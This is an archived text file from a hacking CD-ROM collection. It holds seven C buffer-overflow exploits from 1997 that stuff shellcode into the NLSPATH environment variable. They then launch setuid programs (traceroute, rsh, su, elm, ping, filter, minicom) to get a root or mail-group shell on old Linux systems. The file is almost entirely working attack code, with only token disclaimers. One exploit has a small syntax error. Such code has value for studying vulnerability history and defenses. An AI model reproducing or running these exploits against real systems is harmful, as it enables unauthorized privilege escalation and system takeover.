home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / nlspath.txt < prev    next >
Encoding:
Text File  |  2001-11-06  |  9.1 KB  |  362 lines

  1.  
  2. /*
  3.   SLACKWARE Traceroute Buffer OverFlow -- (c) shit-head (w0nky@usa.net) 1997
  4.   Created: 8/15/97
  5.  
  6.   Give thanks to Solar Designer for his su overflow, this is based
  7.   on that peice of work.
  8.  
  9.   This is for educational purposes only, in no way am I responsible 
  10.   for what you do with this.  This should be used by sys admins, or
  11.   people who have permission of the admin to run it to see if this
  12.   hole can exist on their system.  If you use it for the wrong reasons
  13.   then I say *tisk* on you.  I will not be held responsible for your 
  14.   actions.
  15.   
  16.   This could be done with a generic overflow program, but just
  17.   running this is easier.
  18.  
  19.   USAGE OF THIS DOES NOT GIVE YOU TECH SUPPORT SO DON'T
  20.   MESSAGE ANYBODY ON IRC ABOUT THIS.
  21.  
  22. */
  23.  
  24. #include <stdio.h>
  25. #include <stdlib.h>
  26. #include <unistd.h>
  27. char *shellcode =
  28.   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  29.   "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  30.   "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  31.   "\xcd\x80/"
  32.   "/bin/sh"
  33.   "0";
  34. char *get_sp() {
  35.    asm("movl %esp,%eax");
  36. }
  37. #define bufsize 2048
  38. char buffer[bufsize];
  39. main() {
  40.   int i;
  41.   for (i = 0; i < bufsize - 4; i += 4)
  42.     *(char **)&buffer[i] = get_sp() - 3072;
  43.   memset(buffer, 0x90, 512);
  44.   memcpy(&buffer[512], shellcode, strlen(shellcode));
  45.   buffer[bufsize - 1] = 0;
  46.   system("clear");
  47.   printf("______________________________________________________________________________\n");
  48.   printf("| Traceroute Overflow -- (c) shit-head 1997\n");
  49.   printf("| Give props to Solar Designer for his su overflow, this is based on that.\n");
  50.   printf("|\n");
  51.   printf("| Peep's to: suid, knowy, thugzsta, you all be 2 cool.\n");
  52.   printf("|\n");
  53.   printf("| *NOTE* I'm not responsible if you abuse this. Run only w/ premission\n");
  54.   printf("| Sending Overflow.... Done.\n");
  55.   printf("------------------------------------------------------------------------------\n");
  56.   setenv("NLSPATH", buffer, 1);
  57.   execl("/usr/bin/traceroute", "/usr/bin/traceroute", NULL);
  58. }
  59.  
  60. ===========================================================================
  61.  
  62. /* 
  63.   SLACKWARE RSH Buffer OverFlow -- (c) shit-head (w0nky@usa.net) 1997
  64.   Created: 8/15/97
  65.  
  66.   Give thanks to Solar Designer for his su overflow, this is based
  67.   on that peice of work.
  68.  
  69.   This is for educational purposes only, in no way am I responsible 
  70.   for what you do with this.  This should be used by sys admins, or
  71.   people who have permission of the admin to run it to see if this
  72.   hole can exist on their system.  If you use it for the wrong reasons
  73.   then I say *tisk* on you.  I will not be held responsible for your 
  74.   actions.
  75.   
  76.   This could be done with a generic overflow program, but just
  77.   running this is easier.
  78.  
  79.   USAGE OF THIS DOES NOT GIVE YOU TECH SUPPORT SO DON'T
  80.   MESSAGE ANYBODY ON IRC ABOUT THIS.
  81.  
  82. */
  83.  
  84. #include <stdio.h>
  85. #include <stdlib.h>
  86. #include <unistd.h>
  87. char *shellcode =
  88.   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  89.   "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  90.   "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  91.   "\xcd\x80/"
  92.   "/bin/sh"
  93.   "0";
  94. char *get_sp() {
  95.    asm("movl %esp,%eax");
  96. }
  97. #define bufsize 2048
  98. char buffer[bufsize];
  99. main() {
  100.   int i;
  101.   for (i = 0; i < bufsize - 4; i += 4)
  102.     *(char **)&buffer[i] = get_sp() - 3072;
  103.   memset(buffer, 0x90, 512);
  104.   memcpy(&buffer[512], shellcode, strlen(shellcode));
  105.   buffer[bufsize - 1] = 0;
  106.   setenv("NLSPATH", buffer, 1);
  107.   system("clear");
  108.   printf("______________________________________________________________________________\n");
  109.   printf("| RSH Overflow -- (c) shit-head 1997\n");
  110.   printf("| Give props to Solar Designer for his su overflow, this is based on that.\n");
  111.   printf("|\n");
  112.   printf("| Peep's to: suid, knowy, thugzsta, you all be reet.\n");
  113.   printf("|\n");
  114.   printf("| *NOTE* I'm not responsible if you abuse this. Run only w/ premission\n");
  115.   printf("| Sending Overflow.... Done.\n");
  116.   printf("------------------------------------------------------------------------------\n");
  117.   execl("/usr/bin/rsh", "/usr/bin/rsh", NULL);
  118. }
  119.  
  120.  
  121. ======================================================================
  122.  
  123. /*
  124.  * NLSPATH buffer overflow exploit for Linux, tested on Slackware 3.1
  125.  * Copyright (c) 1997 by Solar Designer
  126.  */
  127.  
  128. #include <stdio.h>
  129. #include <stdlib.h>
  130. #include <unistd.h>
  131.  
  132. char *shellcode =
  133.   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  134.   "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  135.   "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  136.   "\xcd\x80/"
  137.   "/bin/sh"
  138.   "0";
  139.  
  140. char *get_sp() {
  141.    asm("movl %esp,%eax");
  142. }
  143.  
  144. #define bufsize 2048
  145. char buffer[bufsize];
  146.  
  147. main() {
  148.   int i;
  149.  
  150.   for (i = 0; i < bufsize - 4; i += 4)
  151.     *(char **)&buffer[i] = get_sp() - 3072;
  152.  
  153.   memset(buffer, 0x90, 512);
  154.   memcpy(&buffer[512], shellcode, strlen(shellcode));
  155.  
  156.   buffer[bufsize - 1] = 0;
  157.  
  158.   setenv("NLSPATH", buffer, 1);
  159.  
  160.   execl("/bin/su", "/bin/su", NULL);
  161. }
  162.  
  163.  
  164.  
  165. =====================================================================
  166.  
  167. /*
  168.        Linux elm exploit. Gives effective group id of mail.
  169.  */
  170.  
  171. #include <stdio.h>
  172. #include <stdlib.h>
  173. #include <unistd.h>
  174.  
  175. char *shellcode =
  176.   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  177.   "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  178.   "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  179.   "\xcd\x80/"
  180.   "/bin/sh"
  181.   "0";
  182.  
  183. char *get_sp() {
  184.    asm("movl %esp,%eax");
  185. }
  186.  
  187. #define bufsize 2048
  188. char buffer[bufsize];
  189.  
  190. main(argc, argv) 
  191. unsigned int argc;
  192. char **argv;
  193. {
  194.   int i;
  195.  
  196.   for (i = 0; i < bufsize - 4; i += 4)
  197.     *(char **)&buffer[i] = get_sp() - 3300 ;
  198.  
  199.   memset(buffer, 0x90, 512);
  200.   memcpy(&buffer[512], shellcode, strlen(shellcode));
  201.  
  202.   buffer[bufsize - 1] = 0;
  203.  
  204.   setenv("NLSPATH", buffer, 1);
  205.  
  206.   execl("/usr/bin/elm", "/usr/bin/elm", NULL);
  207. }
  208.  
  209.  
  210. ====================================================================
  211.  
  212. /*
  213.  *    ping-exploit (gives root via nlspath environment variable)
  214.  */
  215.  
  216. #include <stdio.h>
  217. #include <stdlib.h>
  218. #include <unistd.h>
  219.  
  220. char *shellcode =
  221.   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  222.   "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  223.   "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  224.   "\xcd\x80/"
  225.   "/bin/sh"
  226.   "0";
  227.  
  228. char *get_sp() {
  229.    asm("movl %esp,%eax");
  230. }
  231.  
  232. #define bufsize 2048
  233. char buffer[bufsize];
  234.  
  235. main() {
  236.   int i;
  237.  
  238.   for (i = 0; i < bufsize - 4; i += 4)
  239.     *(char **)&buffer[i] = get_sp() - 3029;
  240.  
  241.   memset(buffer, 0x90, 512);
  242.   memcpy(&buffer[512], shellcode, strlen(shellcode));
  243.  
  244.   buffer[bufsize - 1] = 0;
  245.  
  246.   setenv("NLSPATH", buffer, 1);
  247.  
  248.   execl("/bin/ping", "/bin/ping", NULL);
  249. }
  250.  
  251.  
  252. =======================================================================
  253.  
  254. /*
  255.  * Exploit for /usr/bin/filter - get egid of mail
  256.  * Usage: cc -o f f.c
  257.  *        ./f 750
  258.  *        $ id
  259.  *        uid=501(foo) gid=100(users) egid=12(mail)
  260.  */
  261.  
  262. #include <stdio.h>
  263. #include <stdlib.h>
  264. #include <unistd.h>
  265.  
  266. char *shellcode =
  267.   "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  268.   "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  269.   "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  270.   "\xcd\x80/"
  271.   "/bin/sh"
  272.   "0";
  273.  
  274. char *get_sp() {
  275.    asm("movl %esp,%eax");
  276. }
  277.  
  278. #define bufsize 2048
  279. char buffer[bufsize];
  280.  
  281. main(int argc, char **argv) 
  282. {
  283.  
  284.   int i;
  285.  
  286.   for (i = 0; i < bufsize - 4; i += 4)
  287.     *(char **)&buffer[i] = get_sp() - atoi(argv[1]);
  288.  
  289.   memset(buffer, 0x90, 512);
  290.   memcpy(&buffer[512], shellcode, strlen(shellcode));
  291.  
  292.   buffer[bufsize - 1] = 0;
  293.  
  294.   setenv("NLSPATH", buffer, 1);
  295.  
  296.   execl("/usr/bin/filter", "filter", NULL);
  297. }
  298.  
  299. =====================================================================
  300.  
  301.  /* Minicom Exploit by _PHANTOM_ */
  302. #include <unistd.h>
  303. #include <stdio.h>
  304. #include <stdlib.h>
  305. #include <fcntl.h>
  306. #include <sys/stat.h>
  307.  
  308. #define path "/usr/bin/minicom"
  309. #define BUFFER_SIZE 1024
  310. #define DEFAULT_OFFSET 50
  311.  
  312. u_long get_esp() 
  313.   __asm__("movl %esp, %eax"); 
  314.  
  315. }
  316.  
  317. main(int argc, char **argv)
  318. {
  319.   u_char execshell[] = 
  320.    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  321.    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  322.    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  323.  
  324.    char *buff = NULL;
  325.    unsigned long *addr_ptr = NULL;
  326.    char *ptr = NULL;
  327.    
  328.    int i;
  329.    int ofs = DEFAULT_OFFSET;
  330.    
  331.    buff = malloc(4096);
  332.    if(!buff)
  333.    {
  334.       printf("can't allocate memory\n");
  335.       exit(0);
  336.    }
  337.    ptr = buff;
  338.  
  339.    /* fill start of buffer with nops */
  340.  
  341.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  342.    ptr += BUFFER_SIZE-strlen(execshell);
  343.  
  344.    /* stick asm code into the buffer */
  345.  
  346.    for(i=0;i < strlen(execshell);i++)
  347.       *(ptr++) = execshell[i];
  348.    addr_ptr = (long *)ptr;
  349.    for(i=0;i < (8/4);i++)
  350.       *(addr_ptr++) = get_esp() + ofs;
  351.    ptr = (char *)addr_ptr;
  352.    *ptr = 0;
  353.  
  354.    (void)alarm((u_int)0);
  355.    setenv("NLSPATH",buff,1);
  356.    execl(path, "minicom", buff, NULL);
  357. }
  358.  
  359.  
  360. ========================================================================================
  361.